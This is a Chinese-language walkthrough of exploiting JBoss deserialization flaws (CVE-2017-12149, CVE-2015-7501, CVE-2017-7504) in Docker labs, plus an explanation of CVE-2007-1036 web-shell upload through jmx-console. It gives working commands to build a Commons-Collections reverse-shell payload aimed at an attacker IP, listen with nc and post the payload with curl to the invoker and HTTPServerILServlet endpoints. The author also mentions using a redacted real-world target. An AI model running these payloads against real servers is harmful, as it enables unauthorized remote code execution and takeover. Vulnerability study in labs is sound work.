简介

JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流行。

CVE-2017-12149

JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149)，远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

漏洞原理

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

首先需要了解Java的序列化和反序列化。Java序列化就是指把Java对象转换为字节序列的过程，在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。Java反序列化就是指把字节序列恢复为Java对象的过程，根据字节流中保存的对象状态及描述信息，通过反序列化重建对象。

用代码看就是：

序列化：

FileOutputStream fos = new FileOutputStream(file); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(st);

反序列化:

FileInputStream fis = new FileInputStream(file); ObjectInputStream ois = new ObjectInputStream(fis); Student st1 = (Student) ois.readObject();

CVE-2017-12149的漏洞出现在HttpInvoker组件中的ReadOnlyAccessFilter过滤器中，源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下

可以看出它从http中获取数据，通过调用readobject()方法对数据流进行反序列操作，但是没有进行检查或者过滤。这就造成了JBoss中invoker/JMXInvokerServlet路径对外开放，而且JBoss的jmx组件支持Java反序列化

漏洞复现

首先进入CVE-2017-12149的docker环境

cd jbosslscd CVE-2017-12149sudo docker-compose up -ddocker ps

访问http://192.168.1.8:8080/invoker/readonly，若返回如下界面则存在漏洞

这里需要用到javac进行编译ser文件，所以首先安装java环境

cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/binjavac -versionjava -version

可以看到这里javac环境已经存在

利用反序列化工具CVE-2015-7501：https://github.com/ianxtianxt/CVE-2015-7501/，这里使用的反序列化工具对于CVE-2017-12149和CVE-2015-7501两个漏洞都可以进行利用，总体上都是利用java的反序列化

这里我git这个工具一直git不下来，就找了个实战的环境打了码，原理跟docker复现是一样的

首先使用java编译ser文件

javac -cp .:commons-collections-3.2.1.jarReverseShellCommonsCollectionsHashMap.javajava -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.192:4444（IP是攻击机ip,4444是要监听的端口)

这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件

这个时候我们还需要使用nc来监听一个端口来接受反弹shell

再使用一个curl去请求反弹建立连接，就能够得到一个反弹shell

curl http://目标机ip:port/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2015-7501

JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。

漏洞原理

跟之前的CVE-2017-12149漏洞相似，都是使用了java的反序列化，该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，从而导致了漏洞。

漏洞复现

进入CVE-2015-7501的docker环境，这里在vlunhub里面是直接用JMXInvokerServlet命名漏洞环境

访问http://192.168.1.8:8080/invoker/JMXInvokerServlet弹出对话框则存在漏洞

使用nc监听4444端口，然后跟CVE-2017-12149一样使用java编译生成一个ser文件执行，使用nc监听端口即可得到反弹shell

nc -lvp 4444
curl http://192.168.112.148:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2017-7504

CVE-2017-7504为JBossMQ JMS 反序列化漏洞

漏洞原理

CVE-2017-7504漏洞与CVE-2015-7501的漏洞原理相似，只是利用的路径稍微出现了变化，CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码

漏洞复现

进入CVE-2017-7504的漏洞docker环境

访问http://192.168.1.10:8080/jbossmq-httpil/HTTPServerILServlet，若出现如下界面则存在漏洞

使用nc打开端口监听，再用之前生成的.ser文件，通过POST二进制数据上去，使用nc监听端口，即可拿到shell

nc -lvp 4444curl http://192.168.112.148:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2007-1036

CVE-2007-1036即JMX Console HtmlAdaptor Getshell，因为JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进入到jmx控制台，并在其中执行任何功能

漏洞原理

该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法，通过向四个参数传入信息，达到上传shell的目的，其中arg0传入的是部署的war包名字，arg1传入的是上传的文件的文件名，arg2传入的是上传文件的文件格式，arg3传入的是上传文件中的内容。通过控制这四个参数即可上传shell，控制整台服务器，arg1和arg2可以进行文件的拼接，例如arg1=she，arg2=ll.jsp。这个时候服务器还是会进行拼接，将shell.jsp传入到指定路径下